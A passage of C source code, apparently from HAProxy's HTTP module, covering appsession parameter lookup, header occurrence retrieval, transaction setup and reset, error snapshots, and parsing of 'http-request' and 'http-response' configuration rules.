case PR_O2_AS_M_PP:
first_param = memchr(begin, ';', len);
break;
case PR_O2_AS_M_QS:
first_param = memchr(begin, '?', len);
break;
}
if (first_param == NULL) {
return;
}
switch (mode) {
case PR_O2_AS_M_PP:
if ((end_params = memchr(first_param, '?', len - (begin - first_param))) == NULL) {
end_params = (char *) begin + len;
}
separator = ';';
break;
case PR_O2_AS_M_QS:
end_params = (char *) begin + len;
separator = '&';
break;
default:
/* unknown mode, shouldn't happen */
return;
}
cur_param = next_param = end_params;
while (cur_param > first_param) {
cur_param--;
if ((cur_param[0] == separator) || (cur_param == first_param)) {
/* let's see if this is the appsession parameter */
if ((cur_param + s->be->appsession_name_len + 1 < next_param) &&
((s->be->options2 & PR_O2_AS_PFX) || cur_param[s->be->appsession_name_len + 1] == '=') &&
(strncasecmp(cur_param + 1, s->be->appsession_name, s->be->appsession_name_len) == 0)) {
/* Cool... it's the right one */
cur_param += s->be->appsession_name_len + (s->be->options2 & PR_O2_AS_PFX ? 1 : 2);
value_len = MIN(s->be->appsession_len, next_param - cur_param);
if (value_len > 0) {
manage_client_side_appsession(s, cur_param, value_len);
}
break;
}
next_param = cur_param;
}
}
#if defined(DEBUG_HASH)
Alert("get_srv_from_appsession\n");
appsession_hash_dump(&(s->be->htbl_proxy));
#endif
}
/*
* In a GET, HEAD or POST request, check if the requested URI matches the stats uri
* for the current backend.
*
* It is assumed that the request is either a HEAD, GET, or POST and that the
* uri_auth field is valid.
*
* Returns 1 if stats should be provided, otherwise 0.
*/
int stats_check_uri(struct stream_interface *si, struct http_txn *txn, struct proxy *backend)
{
struct uri_auth *uri_auth = backend->uri_auth;
struct http_msg *msg = &txn->req;
const char *uri = msg->chn->buf->p+ msg->sl.rq.u;
if (!uri_auth)
return 0;
if (txn->meth != HTTP_METH_GET && txn->meth != HTTP_METH_HEAD && txn->meth != HTTP_METH_POST)
return 0;
/* check URI size */
if (uri_auth->uri_len > msg->sl.rq.u_l)
return 0;
if (memcmp(uri, uri_auth->uri_prefix, uri_auth->uri_len) != 0)
return 0;
return 1;
}
/*
* Capture a bad request or response and archive it in the proxy's structure.
* By default it tries to report the error position as msg->err_pos. However if
* this one is not set, it will then report msg->next, which is the last known
* parsing point. The function is able to deal with wrapping buffers. It always
* displays buffers as a contiguous area starting at buf->p.
*/
void http_capture_bad_message(struct error_snapshot *es, struct session *s,
struct http_msg *msg,
enum ht_state state, struct proxy *other_end)
{
struct channel *chn = msg->chn;
int len1, len2;
es->len = MIN(chn->buf->i, sizeof(es->buf));
len1 = chn->buf->data + chn->buf->size - chn->buf->p;
len1 = MIN(len1, es->len);
len2 = es->len - len1; /* remaining data if buffer wraps */
memcpy(es->buf, chn->buf->p, len1);
if (len2)
memcpy(es->buf + len1, chn->buf->data, len2);
if (msg->err_pos >= 0)
es->pos = msg->err_pos;
else
es->pos = msg->next;
es->when = date; // user-visible date
es->sid = s->uniq_id;
es->srv = objt_server(s->target);
es->oe = other_end;
if (objt_conn(s->req->prod->end))
es->src = __objt_conn(s->req->prod->end)->addr.from;
else
memset(&es->src, 0, sizeof(es->src));
es->state = state;
es->ev_id = error_snapshot_id++;
es->b_flags = chn->flags;
es->s_flags = s->flags;
es->t_flags = s->txn.flags;
es->m_flags = msg->flags;
es->b_out = chn->buf->o;
es->b_wrap = chn->buf->data + chn->buf->size - chn->buf->p;
es->b_tot = chn->total;
es->m_clen = msg->chunk_len;
es->m_blen = msg->body_len;
}
/* Return in <vptr> and <vlen> the pointer and length of occurrence <occ> of
* header whose name is <hname> of length <hlen>. If <ctx> is null, lookup is
* performed over the whole headers. Otherwise it must contain a valid header
* context, initialised with ctx->idx=0 for the first lookup in a series. If
* <occ> is positive or null, occurrence #occ from the beginning (or last ctx)
* is returned. Occ #0 and #1 are equivalent. If <occ> is negative (and no less
* than -MAX_HDR_HISTORY), the occurrence is counted from the last one which is
* -1. The value fetch stops at commas, so this function is suited for use with
* list headers.
* The return value is 0 if nothing was found, or non-zero otherwise.
*/
unsigned int http_get_hdr(const struct http_msg *msg, const char *hname, int hlen,
struct hdr_idx *idx, int occ,
struct hdr_ctx *ctx, char **vptr, int *vlen)
{
struct hdr_ctx local_ctx;
char *ptr_hist[MAX_HDR_HISTORY];
int len_hist[MAX_HDR_HISTORY];
unsigned int hist_ptr;
int found;
if (!ctx) {
local_ctx.idx = 0;
ctx = &local_ctx;
}
if (occ >= 0) {
/* search from the beginning */
while (http_find_header2(hname, hlen, msg->chn->buf->p, idx, ctx)) {
occ--;
if (occ <= 0) {
*vptr = ctx->line + ctx->val;
*vlen = ctx->vlen;
return 1;
}
}
return 0;
}
/* negative occurrence, we scan all the list then walk back */
if (-occ > MAX_HDR_HISTORY)
return 0;
found = hist_ptr = 0;
while (http_find_header2(hname, hlen, msg->chn->buf->p, idx, ctx)) {
ptr_hist[hist_ptr] = ctx->line + ctx->val;
len_hist[hist_ptr] = ctx->vlen;
if (++hist_ptr >= MAX_HDR_HISTORY)
hist_ptr = 0;
found++;
}
if (-occ > found)
return 0;
/* OK now we have the last occurrence in [hist_ptr-1], and we need to
* find occurrence -occ. 0 <= hist_ptr < MAX_HDR_HISTORY, and we have
* -10 <= occ <= -1. So we have to check [hist_ptr%MAX_HDR_HISTORY+occ]
* to remain in the 0..9 range.
*/
hist_ptr += occ + MAX_HDR_HISTORY;
if (hist_ptr >= MAX_HDR_HISTORY)
hist_ptr -= MAX_HDR_HISTORY;
*vptr = ptr_hist[hist_ptr];
*vlen = len_hist[hist_ptr];
return 1;
}
/* Return in <vptr> and <vlen> the pointer and length of occurrence <occ> of
* header whose name is <hname> of length <hlen>. If <ctx> is null, lookup is
* performed over the whole headers. Otherwise it must contain a valid header
* context, initialised with ctx->idx=0 for the first lookup in a series. If
* <occ> is positive or null, occurrence #occ from the beginning (or last ctx)
* is returned. Occ #0 and #1 are equivalent. If <occ> is negative (and no less
* than -MAX_HDR_HISTORY), the occurrence is counted from the last one which is
* -1. This function differs from http_get_hdr() in that it only returns full
* line header values and does not stop at commas.
* The return value is 0 if nothing was found, or non-zero otherwise.
*/
unsigned int http_get_fhdr(const struct http_msg *msg, const char *hname, int hlen,
struct hdr_idx *idx, int occ,
struct hdr_ctx *ctx, char **vptr, int *vlen)
{
struct hdr_ctx local_ctx;
char *ptr_hist[MAX_HDR_HISTORY];
int len_hist[MAX_HDR_HISTORY];
unsigned int hist_ptr;
int found;
if (!ctx) {
local_ctx.idx = 0;
ctx = &local_ctx;
}
if (occ >= 0) {
/* search from the beginning */
while (http_find_full_header2(hname, hlen, msg->chn->buf->p, idx, ctx)) {
occ--;
if (occ <= 0) {
*vptr = ctx->line + ctx->val;
*vlen = ctx->vlen;
return 1;
}
}
return 0;
}
/* negative occurrence, we scan all the list then walk back */
if (-occ > MAX_HDR_HISTORY)
return 0;
found = hist_ptr = 0;
while (http_find_full_header2(hname, hlen, msg->chn->buf->p, idx, ctx)) {
ptr_hist[hist_ptr] = ctx->line + ctx->val;
len_hist[hist_ptr] = ctx->vlen;
if (++hist_ptr >= MAX_HDR_HISTORY)
hist_ptr = 0;
found++;
}
if (-occ > found)
return 0;
/* OK now we have the last occurrence in [hist_ptr-1], and we need to
* find occurrence -occ, so we have to check [hist_ptr+occ].
*/
hist_ptr += occ;
if (hist_ptr >= MAX_HDR_HISTORY)
hist_ptr -= MAX_HDR_HISTORY;
*vptr = ptr_hist[hist_ptr];
*vlen = len_hist[hist_ptr];
return 1;
}
/*
* Print a debug line with a header. Always stop at the first CR or LF char,
* so it is safe to pass it a full buffer if needed. If <err> is not NULL, an
* arrow is printed after the line which contains the pointer.
*/
void debug_hdr(const char *dir, struct session *s, const char *start, const char *end)
{
int max;
chunk_printf(&trash, "%08x:%s.%s[%04x:%04x]: ", s->uniq_id, s->be->id,
dir,
objt_conn(s->req->prod->end) ? (unsigned short)objt_conn(s->req->prod->end)->t.sock.fd : -1,
objt_conn(s->req->cons->end) ? (unsigned short)objt_conn(s->req->cons->end)->t.sock.fd : -1);
for (max = 0; start + max < end; max++)
if (start[max] == '\r' || start[max] == '\n')
break;
UBOUND(max, trash.size - trash.len - 3);
trash.len += strlcpy2(trash.str + trash.len, start, max + 1);
trash.str[trash.len++] = '\n';
shut_your_big_mouth_gcc(write(1, trash.str, trash.len));
}
/*
* Initialize a new HTTP transaction for session <s>. It is assumed that all
* the required fields are properly allocated and that we only need to (re)init
* them. This should be used before processing any new request.
*/
void http_init_txn(struct session *s)
{
struct http_txn *txn = &s->txn;
struct proxy *fe = s->fe;
txn->flags = 0;
txn->status = -1;
txn->cookie_first_date = 0;
txn->cookie_last_date = 0;
txn->req.flags = 0;
txn->req.sol = txn->req.eol = txn->req.eoh = 0; /* relative to the buffer */
txn->req.next = 0;
txn->rsp.flags = 0;
txn->rsp.sol = txn->rsp.eol = txn->rsp.eoh = 0; /* relative to the buffer */
txn->rsp.next = 0;
txn->req.chunk_len = 0LL;
txn->req.body_len = 0LL;
txn->rsp.chunk_len = 0LL;
txn->rsp.body_len = 0LL;
txn->req.msg_state = HTTP_MSG_RQBEFORE; /* at the very beginning of the request */
txn->rsp.msg_state = HTTP_MSG_RPBEFORE; /* at the very beginning of the response */
txn->req.chn = s->req;
txn->rsp.chn = s->rep;
txn->auth.method = HTTP_AUTH_UNKNOWN;
txn->req.err_pos = txn->rsp.err_pos = -2; /* block buggy requests/responses */
if (fe->options2 & PR_O2_REQBUG_OK)
txn->req.err_pos = -1; /* let buggy requests pass */
if (txn->req.cap)
memset(txn->req.cap, 0, fe->nb_req_cap * sizeof(void *));
if (txn->rsp.cap)
memset(txn->rsp.cap, 0, fe->nb_rsp_cap * sizeof(void *));
if (txn->hdr_idx.v)
hdr_idx_init(&txn->hdr_idx);
}
/* to be used at the end of a transaction */
void http_end_txn(struct session *s)
{
struct http_txn *txn = &s->txn;
/* release any possible compression context */
if (s->flags & SN_COMP_READY)
s->comp_algo->end(&s->comp_ctx);
s->comp_algo = NULL;
s->flags &= ~SN_COMP_READY;
/* these ones will have been dynamically allocated */
pool_free2(pool2_requri, txn->uri);
pool_free2(pool2_capture, txn->cli_cookie);
pool_free2(pool2_capture, txn->srv_cookie);
pool_free2(apools.sessid, txn->sessid);
pool_free2(pool2_uniqueid, s->unique_id);
s->unique_id = NULL;
txn->sessid = NULL;
txn->uri = NULL;
txn->srv_cookie = NULL;
txn->cli_cookie = NULL;
if (txn->req.cap) {
struct cap_hdr *h;
for (h = s->fe->req_cap; h; h = h->next)
pool_free2(h->pool, txn->req.cap[h->index]);
memset(txn->req.cap, 0, s->fe->nb_req_cap * sizeof(void *));
}
if (txn->rsp.cap) {
struct cap_hdr *h;
for (h = s->fe->rsp_cap; h; h = h->next)
pool_free2(h->pool, txn->rsp.cap[h->index]);
memset(txn->rsp.cap, 0, s->fe->nb_rsp_cap * sizeof(void *));
}
}
/* to be used at the end of a transaction to prepare a new one */
void http_reset_txn(struct session *s)
{
http_end_txn(s);
http_init_txn(s);
s->be = s->fe;
s->logs.logwait = s->fe->to_log;
s->logs.level = 0;
session_del_srv_conn(s);
s->target = NULL;
/* re-init store persistence */
s->store_count = 0;
s->uniq_id = global.req_count++;
s->pend_pos = NULL;
s->req->flags |= CF_READ_DONTWAIT; /* one read is usually enough */
/* We must trim any excess data from the response buffer, because we
* may have blocked an invalid response from a server that we don't
* want to accidentely forward once we disable the analysers, nor do
* we want those data to come along with next response. A typical
* example of such data would be from a buggy server responding to
* a HEAD with some data, or sending more than the advertised
* content-length.
*/
if (unlikely(s->rep->buf->i))
s->rep->buf->i = 0;
s->req->rto = s->fe->timeout.client;
s->req->wto = TICK_ETERNITY;
s->rep->rto = TICK_ETERNITY;
s->rep->wto = s->fe->timeout.client;
s->req->rex = TICK_ETERNITY;
s->req->wex = TICK_ETERNITY;
s->req->analyse_exp = TICK_ETERNITY;
s->rep->rex = TICK_ETERNITY;
s->rep->wex = TICK_ETERNITY;
s->rep->analyse_exp = TICK_ETERNITY;
}
void free_http_res_rules(struct list *r)
{
struct http_res_rule *tr, *pr;
list_for_each_entry_safe(pr, tr, r, list) {
LIST_DEL(&pr->list);
regex_free(&pr->arg.hdr_add.re);
free(pr);
}
}
void free_http_req_rules(struct list *r)
{
struct http_req_rule *tr, *pr;
list_for_each_entry_safe(pr, tr, r, list) {
LIST_DEL(&pr->list);
if (pr->action == HTTP_REQ_ACT_AUTH)
free(pr->arg.auth.realm);
regex_free(&pr->arg.hdr_add.re);
free(pr);
}
}
/* parse an "http-request" rule */
struct http_req_rule *parse_http_req_cond(const char **args, const char *file, int linenum, struct proxy *proxy)
{
struct http_req_rule *rule;
struct http_req_action_kw *custom = NULL;
int cur_arg;
char *error;
rule = (struct http_req_rule*)calloc(1, sizeof(struct http_req_rule));
if (!rule) {
Alert("parsing [%s:%d]: out of memory.\n", file, linenum);
goto out_err;
}
if (!strcmp(args[0], "allow")) {
rule->action = HTTP_REQ_ACT_ALLOW;
cur_arg = 1;
} else if (!strcmp(args[0], "deny") || !strcmp(args[0], "block")) {
rule->action = HTTP_REQ_ACT_DENY;
cur_arg = 1;
} else if (!strcmp(args[0], "tarpit")) {
rule->action = HTTP_REQ_ACT_TARPIT;
cur_arg = 1;
} else if (!strcmp(args[0], "auth")) {
rule->action = HTTP_REQ_ACT_AUTH;
cur_arg = 1;
while(*args[cur_arg]) {
if (!strcmp(args[cur_arg], "realm")) {
rule->arg.auth.realm = strdup(args[cur_arg + 1]);
cur_arg+=2;
continue;
} else
break;
}
} else if (!strcmp(args[0], "set-nice")) {
rule->action = HTTP_REQ_ACT_SET_NICE;
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg + 1] && strcmp(args[cur_arg + 1], "if") != 0 && strcmp(args[cur_arg + 1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-request %s' expects exactly 1 argument (integer value).\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.nice = atoi(args[cur_arg]);
if (rule->arg.nice < -1024)
rule->arg.nice = -1024;
else if (rule->arg.nice > 1024)
rule->arg.nice = 1024;
cur_arg++;
} else if (!strcmp(args[0], "set-tos")) {
#ifdef IP_TOS
char *err;
rule->action = HTTP_REQ_ACT_SET_TOS;
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg + 1] && strcmp(args[cur_arg + 1], "if") != 0 && strcmp(args[cur_arg + 1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-request %s' expects exactly 1 argument (integer/hex value).\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.tos = strtol(args[cur_arg], &err, 0);
if (err && *err != '\0') {
Alert("parsing [%s:%d]: invalid character starting at '%s' in 'http-request %s' (integer/hex value expected).\n",
file, linenum, err, args[0]);
goto out_err;
}
cur_arg++;
#else
Alert("parsing [%s:%d]: 'http-request %s' is not supported on this platform (IP_TOS undefined).\n", file, linenum, args[0]);
goto out_err;
#endif
} else if (!strcmp(args[0], "set-mark")) {
#ifdef SO_MARK
char *err;
rule->action = HTTP_REQ_ACT_SET_MARK;
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg + 1] && strcmp(args[cur_arg + 1], "if") != 0 && strcmp(args[cur_arg + 1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-request %s' expects exactly 1 argument (integer/hex value).\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.mark = strtoul(args[cur_arg], &err, 0);
if (err && *err != '\0') {
Alert("parsing [%s:%d]: invalid character starting at '%s' in 'http-request %s' (integer/hex value expected).\n",
file, linenum, err, args[0]);
goto out_err;
}
cur_arg++;
global.last_checks |= LSTCHK_NETADM;
#else
Alert("parsing [%s:%d]: 'http-request %s' is not supported on this platform (SO_MARK undefined).\n", file, linenum, args[0]);
goto out_err;
#endif
} else if (!strcmp(args[0], "set-log-level")) {
rule->action = HTTP_REQ_ACT_SET_LOGL;
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg + 1] && strcmp(args[cur_arg + 1], "if") != 0 && strcmp(args[cur_arg + 1], "unless") != 0)) {
bad_log_level:
Alert("parsing [%s:%d]: 'http-request %s' expects exactly 1 argument (log level name or 'silent').\n",
file, linenum, args[0]);
goto out_err;
}
if (strcmp(args[cur_arg], "silent") == 0)
rule->arg.loglevel = -1;
else if ((rule->arg.loglevel = get_log_level(args[cur_arg]) + 1) == 0)
goto bad_log_level;
cur_arg++;
} else if (strcmp(args[0], "add-header") == 0 || strcmp(args[0], "set-header") == 0) {
rule->action = *args[0] == 'a' ? HTTP_REQ_ACT_ADD_HDR : HTTP_REQ_ACT_SET_HDR;
cur_arg = 1;
if (!*args[cur_arg] || !*args[cur_arg+1] ||
(*args[cur_arg+2] && strcmp(args[cur_arg+2], "if") != 0 && strcmp(args[cur_arg+2], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-request %s' expects exactly 2 arguments.\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.hdr_add.name = strdup(args[cur_arg]);
rule->arg.hdr_add.name_len = strlen(rule->arg.hdr_add.name);
LIST_INIT(&rule->arg.hdr_add.fmt);
proxy->conf.args.ctx = ARGC_HRQ;
parse_logformat_string(args[cur_arg + 1], proxy, &rule->arg.hdr_add.fmt, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_FE) ? SMP_VAL_FE_HRQ_HDR : SMP_VAL_BE_HRQ_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 2;
} else if (strcmp(args[0], "replace-header") == 0 || strcmp(args[0], "replace-value") == 0) {
rule->action = args[0][8] == 'h' ? HTTP_REQ_ACT_REPLACE_HDR : HTTP_REQ_ACT_REPLACE_VAL;
cur_arg = 1;
if (!*args[cur_arg] || !*args[cur_arg+1] || !*args[cur_arg+2] ||
(*args[cur_arg+3] && strcmp(args[cur_arg+3], "if") != 0 && strcmp(args[cur_arg+3], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-request %s' expects exactly 3 arguments.\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.hdr_add.name = strdup(args[cur_arg]);
rule->arg.hdr_add.name_len = strlen(rule->arg.hdr_add.name);
LIST_INIT(&rule->arg.hdr_add.fmt);
error = NULL;
if (!regex_comp(args[cur_arg + 1], &rule->arg.hdr_add.re, 1, 1, &error)) {
Alert("parsing [%s:%d] : '%s' : %s.\n", file, linenum,
args[cur_arg + 1], error);
free(error);
goto out_err;
}
proxy->conf.args.ctx = ARGC_HRQ;
parse_logformat_string(args[cur_arg + 2], proxy, &rule->arg.hdr_add.fmt, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_FE) ? SMP_VAL_FE_HRQ_HDR : SMP_VAL_BE_HRQ_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 3;
} else if (strcmp(args[0], "del-header") == 0) {
rule->action = HTTP_REQ_ACT_DEL_HDR;
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg+1] && strcmp(args[cur_arg+1], "if") != 0 && strcmp(args[cur_arg+1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-request %s' expects exactly 1 argument.\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.hdr_add.name = strdup(args[cur_arg]);
rule->arg.hdr_add.name_len = strlen(rule->arg.hdr_add.name);
proxy->conf.args.ctx = ARGC_HRQ;
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 1;
} else if (strcmp(args[0], "redirect") == 0) {
struct redirect_rule *redir;
char *errmsg = NULL;
if ((redir = http_parse_redirect_rule(file, linenum, proxy, (const char **)args + 1, &errmsg, 1)) == NULL) {
Alert("parsing [%s:%d] : error detected in %s '%s' while parsing 'http-request %s' rule : %s.\n",
file, linenum, proxy_type_str(proxy), proxy->id, args[0], errmsg);
goto out_err;
}
/* this redirect rule might already contain a parsed condition which
* we'll pass to the http-request rule.
*/
rule->action = HTTP_REQ_ACT_REDIR;
rule->arg.redir = redir;
rule->cond = redir->cond;
redir->cond = NULL;
cur_arg = 2;
return rule;
} else if (strncmp(args[0], "add-acl", 7) == 0) {
/* http-request add-acl(<reference (acl name)>) <key pattern> */
rule->action = HTTP_REQ_ACT_ADD_ACL;
/*
* '+ 8' for 'add-acl('
* '- 9' for 'add-acl(' + trailing ')'
*/
rule->arg.map.ref = my_strndup(args[0] + 8, strlen(args[0]) - 9);
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg+1] && strcmp(args[cur_arg+1], "if") != 0 && strcmp(args[cur_arg+1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-request %s' expects exactly 1 argument.\n",
file, linenum, args[0]);
goto out_err;
}
LIST_INIT(&rule->arg.map.key);
proxy->conf.args.ctx = ARGC_HRQ;
parse_logformat_string(args[cur_arg], proxy, &rule->arg.map.key, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_FE) ? SMP_VAL_FE_HRQ_HDR : SMP_VAL_BE_HRQ_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 1;
} else if (strncmp(args[0], "del-acl", 7) == 0) {
/* http-request del-acl(<reference (acl name)>) <key pattern> */
rule->action = HTTP_REQ_ACT_DEL_ACL;
/*
* '+ 8' for 'del-acl('
* '- 9' for 'del-acl(' + trailing ')'
*/
rule->arg.map.ref = my_strndup(args[0] + 8, strlen(args[0]) - 9);
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg+1] && strcmp(args[cur_arg+1], "if") != 0 && strcmp(args[cur_arg+1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-request %s' expects exactly 1 argument.\n",
file, linenum, args[0]);
goto out_err;
}
LIST_INIT(&rule->arg.map.key);
proxy->conf.args.ctx = ARGC_HRQ;
parse_logformat_string(args[cur_arg], proxy, &rule->arg.map.key, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_FE) ? SMP_VAL_FE_HRQ_HDR : SMP_VAL_BE_HRQ_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 1;
} else if (strncmp(args[0], "del-map", 7) == 0) {
/* http-request del-map(<reference (map name)>) <key pattern> */
rule->action = HTTP_REQ_ACT_DEL_MAP;
/*
* '+ 8' for 'del-map('
* '- 9' for 'del-map(' + trailing ')'
*/
rule->arg.map.ref = my_strndup(args[0] + 8, strlen(args[0]) - 9);
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg+1] && strcmp(args[cur_arg+1], "if") != 0 && strcmp(args[cur_arg+1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-request %s' expects exactly 1 argument.\n",
file, linenum, args[0]);
goto out_err;
}
LIST_INIT(&rule->arg.map.key);
proxy->conf.args.ctx = ARGC_HRQ;
parse_logformat_string(args[cur_arg], proxy, &rule->arg.map.key, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_FE) ? SMP_VAL_FE_HRQ_HDR : SMP_VAL_BE_HRQ_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 1;
} else if (strncmp(args[0], "set-map", 7) == 0) {
/* http-request set-map(<reference (map name)>) <key pattern> <value pattern> */
rule->action = HTTP_REQ_ACT_SET_MAP;
/*
* '+ 8' for 'set-map('
* '- 9' for 'set-map(' + trailing ')'
*/
rule->arg.map.ref = my_strndup(args[0] + 8, strlen(args[0]) - 9);
cur_arg = 1;
if (!*args[cur_arg] || !*args[cur_arg+1] ||
(*args[cur_arg+2] && strcmp(args[cur_arg+2], "if") != 0 && strcmp(args[cur_arg+2], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-request %s' expects exactly 2 arguments.\n",
file, linenum, args[0]);
goto out_err;
}
LIST_INIT(&rule->arg.map.key);
LIST_INIT(&rule->arg.map.value);
proxy->conf.args.ctx = ARGC_HRQ;
/* key pattern */
parse_logformat_string(args[cur_arg], proxy, &rule->arg.map.key, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_FE) ? SMP_VAL_FE_HRQ_HDR : SMP_VAL_BE_HRQ_HDR,
file, linenum);
/* value pattern */
parse_logformat_string(args[cur_arg + 1], proxy, &rule->arg.map.value, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_FE) ? SMP_VAL_FE_HRQ_HDR : SMP_VAL_BE_HRQ_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 2;
} else if (((custom = action_http_req_custom(args[0])) != NULL)) {
char *errmsg = NULL;
cur_arg = 1;
/* try in the module list */
if (custom->parse(args, &cur_arg, proxy, rule, &errmsg) < 0) {
Alert("parsing [%s:%d] : error detected in %s '%s' while parsing 'http-request %s' rule : %s.\n",
file, linenum, proxy_type_str(proxy), proxy->id, args[0], errmsg);
free(errmsg);
goto out_err;
}
} else {
Alert("parsing [%s:%d]: 'http-request' expects 'allow', 'deny', 'auth', 'redirect', 'tarpit', 'add-header', 'set-header', 'replace-header', 'replace-value', 'set-nice', 'set-tos', 'set-mark', 'set-log-level', 'add-acl', 'del-acl', 'del-map', 'set-map', but got '%s'%s.\n",
file, linenum, args[0], *args[0] ? "" : " (missing argument)");
goto out_err;
}
if (strcmp(args[cur_arg], "if") == 0 || strcmp(args[cur_arg], "unless") == 0) {
struct acl_cond *cond;
char *errmsg = NULL;
if ((cond = build_acl_cond(file, linenum, proxy, args+cur_arg, &errmsg)) == NULL) {
Alert("parsing [%s:%d] : error detected while parsing an 'http-request %s' condition : %s.\n",
file, linenum, args[0], errmsg);
free(errmsg);
goto out_err;
}
rule->cond = cond;
}
else if (*args[cur_arg]) {
Alert("parsing [%s:%d]: 'http-request %s' expects 'realm' for 'auth' or"
" either 'if' or 'unless' followed by a condition but found '%s'.\n",
file, linenum, args[0], args[cur_arg]);
goto out_err;
}
return rule;
out_err:
free(rule);
return NULL;
}
/* parse an "http-respose" rule */
struct http_res_rule *parse_http_res_cond(const char **args, const char *file, int linenum, struct proxy *proxy)
{
struct http_res_rule *rule;
struct http_res_action_kw *custom = NULL;
int cur_arg;
char *error;
rule = calloc(1, sizeof(*rule));
if (!rule) {
Alert("parsing [%s:%d]: out of memory.\n", file, linenum);
goto out_err;
}
if (!strcmp(args[0], "allow")) {
rule->action = HTTP_RES_ACT_ALLOW;
cur_arg = 1;
} else if (!strcmp(args[0], "deny")) {
rule->action = HTTP_RES_ACT_DENY;
cur_arg = 1;
} else if (!strcmp(args[0], "set-nice")) {
rule->action = HTTP_RES_ACT_SET_NICE;
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg + 1] && strcmp(args[cur_arg + 1], "if") != 0 && strcmp(args[cur_arg + 1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-response %s' expects exactly 1 argument (integer value).\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.nice = atoi(args[cur_arg]);
if (rule->arg.nice < -1024)
rule->arg.nice = -1024;
else if (rule->arg.nice > 1024)
rule->arg.nice = 1024;
cur_arg++;
} else if (!strcmp(args[0], "set-tos")) {
#ifdef IP_TOS
char *err;
rule->action = HTTP_RES_ACT_SET_TOS;
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg + 1] && strcmp(args[cur_arg + 1], "if") != 0 && strcmp(args[cur_arg + 1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-response %s' expects exactly 1 argument (integer/hex value).\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.tos = strtol(args[cur_arg], &err, 0);
if (err && *err != '\0') {
Alert("parsing [%s:%d]: invalid character starting at '%s' in 'http-response %s' (integer/hex value expected).\n",
file, linenum, err, args[0]);
goto out_err;
}
cur_arg++;
#else
Alert("parsing [%s:%d]: 'http-response %s' is not supported on this platform (IP_TOS undefined).\n", file, linenum, args[0]);
goto out_err;
#endif
} else if (!strcmp(args[0], "set-mark")) {
#ifdef SO_MARK
char *err;
rule->action = HTTP_RES_ACT_SET_MARK;
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg + 1] && strcmp(args[cur_arg + 1], "if") != 0 && strcmp(args[cur_arg + 1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-response %s' expects exactly 1 argument (integer/hex value).\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.mark = strtoul(args[cur_arg], &err, 0);
if (err && *err != '\0') {
Alert("parsing [%s:%d]: invalid character starting at '%s' in 'http-response %s' (integer/hex value expected).\n",
file, linenum, err, args[0]);
goto out_err;
}
cur_arg++;
global.last_checks |= LSTCHK_NETADM;
#else
Alert("parsing [%s:%d]: 'http-response %s' is not supported on this platform (SO_MARK undefined).\n", file, linenum, args[0]);
goto out_err;
#endif
} else if (!strcmp(args[0], "set-log-level")) {
rule->action = HTTP_RES_ACT_SET_LOGL;
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg + 1] && strcmp(args[cur_arg + 1], "if") != 0 && strcmp(args[cur_arg + 1], "unless") != 0)) {
bad_log_level:
Alert("parsing [%s:%d]: 'http-response %s' expects exactly 1 argument (log level name or 'silent').\n",
file, linenum, args[0]);
goto out_err;
}
if (strcmp(args[cur_arg], "silent") == 0)
rule->arg.loglevel = -1;
